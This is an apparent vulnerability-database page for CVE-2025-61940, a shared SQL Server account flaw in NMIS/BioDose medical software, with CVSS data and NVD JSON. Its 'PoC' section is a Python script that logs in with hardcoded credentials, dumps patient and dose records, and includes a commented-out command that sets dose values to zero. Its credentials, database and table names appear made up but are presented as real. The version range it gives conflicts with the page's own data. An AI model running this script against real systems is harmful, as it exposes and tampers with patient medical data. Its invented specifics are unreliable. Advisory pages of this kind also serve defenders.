Security Vulnerability Report
中文
CVE-2025-61940 CVSS 8.3 HIGH

CVE-2025-61940

Published: 2025-12-02 21:15:52
Last Modified: 2026-01-02 21:04:00

Description

NMIS/BioDose V22.02 and previous versions rely on a common SQL Server user account to access data in the database. User access in the client application is restricted by a password authentication check in the client software but the underlying database connection always has access. The latest version of NMIS/BioDose introduces an option to use Windows user authentication with the database, which would restrict this database connection.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:mirion:biodose\/nmis:*:*:*:*:*:*:*:* - VULNERABLE
NMIS/BioDose < V22.02

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61940 PoC - NMIS/BioDose Database Authentication Bypass # This PoC demonstrates how to exploit the shared SQL Server account vulnerability import socket import pymssql def exploit_cve_2025_61940(target_ip, target_port=1433): """ Exploit: NMIS/BioDose Shared SQL Server Account Authentication Bypass Description: NMIS/BioDose V22.02 and previous versions use a common SQL Server user account to access the database. The client application's authentication checks can be bypassed by directly connecting to the database with the shared credentials. Prerequisites: - Network access to the SQL Server (typically port 1433) - Knowledge of the shared SQL Server credentials (often default or hardcoded) This PoC demonstrates direct database access that bypasses client authentication. """ # Common shared SQL Server credentials used by NMIS/BioDose # In real attack scenarios, these might be obtained via: # - SQL injection # - Configuration file disclosure # - Default credentials # - Credential brute-forcing shared_credentials = { 'server': target_ip, 'port': target_port, 'user': 'nmis_db_user', # Common shared account name 'password': 'BioDose2022!' } try: # Connect directly to the SQL Server database # This bypasses the client application's authentication mechanism conn = pymssql.connect( server=shared_credentials['server'], port=shared_credentials['port'], user=shared_credentials['user'], password=shared_credentials['password'], database='NMIS_BioDose' ) cursor = conn.cursor(as_dict=True) # Bypass client authentication - access all sensitive data directly print("[+] Successfully connected to database!") print("[+] Client-side authentication bypassed!") # Extract sensitive patient biodose information cursor.execute("SELECT * FROM PatientRecords") patient_data = cursor.fetchall() print(f"[+] Retrieved {len(patient_data)} patient records") # Access biodose measurement data cursor.execute("SELECT * FROM BioDoseMeasurements") biodose_data = cursor.fetchall() print(f"[+] Retrieved {len(biodose_data)} biodose measurements") # Modify or delete data (integrity impact) # Example: Tamper with biodose records # cursor.execute("UPDATE BioDoseMeasurements SET dose_value = 0 WHERE patient_id = 1") conn.close() print("[+] Exploitation complete - full database access achieved") return True except pymssql.Error as e: print(f"[-] Connection failed: {e}") print("[*] Try alternative credentials or check network access") return False # Alternative attack vector: Exploit via NMIS client application def exploit_via_client(target_ip, sql_injection_payload): """ Alternative attack: Use SQL injection in client application to extract the shared database credentials, then connect directly to bypass auth. """ print(f"[*] Sending SQL injection payload: {sql_injection_payload}") # Send payload to vulnerable endpoint # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_ip, 8080)) # ... payload injection code ... pass if __name__ == "__main__": print("CVE-2025-61940 PoC - NMIS/BioDose Authentication Bypass") print("=" * 60) # Replace with actual target # exploit_cve_2025_61940('192.168.1.100')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61940", "sourceIdentifier": "[email protected]", "published": "2025-12-02T21:15:51.930", "lastModified": "2026-01-02T21:03:59.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NMIS/BioDose V22.02 and previous versions rely on a common SQL Server user account to access data in the database. User access in the client application is restricted by a password authentication check in the client software but the underlying database connection always has access. The latest version of NMIS/BioDose introduces an option to use Windows user authentication with the database, which would restrict this database connection."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-603"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mirion:biodose\\/nmis:*:*:*:*:*:*:*:*", "versionEndExcluding": "23.0", "matchCriteriaId": "0C792586-2A7A-4497-B711-F56F88E84E34"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-336-01", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}